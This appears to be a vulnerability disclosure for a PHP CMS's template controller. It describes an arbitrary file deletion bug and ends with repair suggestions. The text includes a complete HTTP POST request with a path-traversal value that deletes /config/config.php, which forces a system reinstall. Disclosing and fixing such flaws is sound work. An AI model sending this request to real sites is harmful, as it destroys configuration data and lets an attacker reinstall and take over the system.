Description
Vulnerability file: \admin\controllers\template.php
The vulnerability code is as follows:

Arbitrary file deletion vulnerability could lead to system reinstallation
Vulnerability to reproduce:
1、First log in to the background to get cookies
2、Part of the code in the /install/index.php file is as follows:
the following code means that the system can be reinstalled as long as the /config/config.php file is deleted
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3、Construct the packet that deletes the config.php file as follows:
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POST /admin/index.php/template/ajax?action=delete HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.xxx.com/admin/index.php/template?dir=Default/
Content-Length: 30
Cookie: w4Gy9uu6fQW3admin=60edcf231451d2f7493eb8dcfc46d32e
DNT: 1
Connection: close
dir=Default%2F&file=../../../config/config.php
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Repair suggestion:
1、Filter ../ or ..\ in file variables
2、Only allow files in the specified directory to be deleted